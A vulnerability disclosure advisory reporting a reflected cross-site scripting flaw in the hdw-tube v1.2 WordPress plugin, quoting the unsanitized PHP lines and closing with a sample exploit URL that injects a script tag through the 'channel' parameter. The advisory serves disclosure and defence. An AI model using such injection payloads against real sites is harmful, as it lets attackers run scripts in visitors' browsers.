Advisory #: 533
Title: Reflected XSS in wordpress plugin hdw-tube v1.2
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/hdw-tube
Downloads: 3409
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: hdw-tube
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./hdw-tube/mychannel.php: 290: var channelid = '<?php echo $_GET['channel']?>'; 299: var channelid = '<?php echo $_GET['channel']?>'; 422: $hdwt.post(location.href,{comment_message:mess,comment_name:myname,comment_image:myimage,channel_id_comment:'<?php echo $_GET['channel'];?>'}, function( data ) { The variable channel appears to send unsanitized data back to the users browser.
CVE-ID: 2016-1000135
File:./hdw-tube/mychannel.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/hdw-tube/mychannel.php?channel="><script>alert(1);</script><"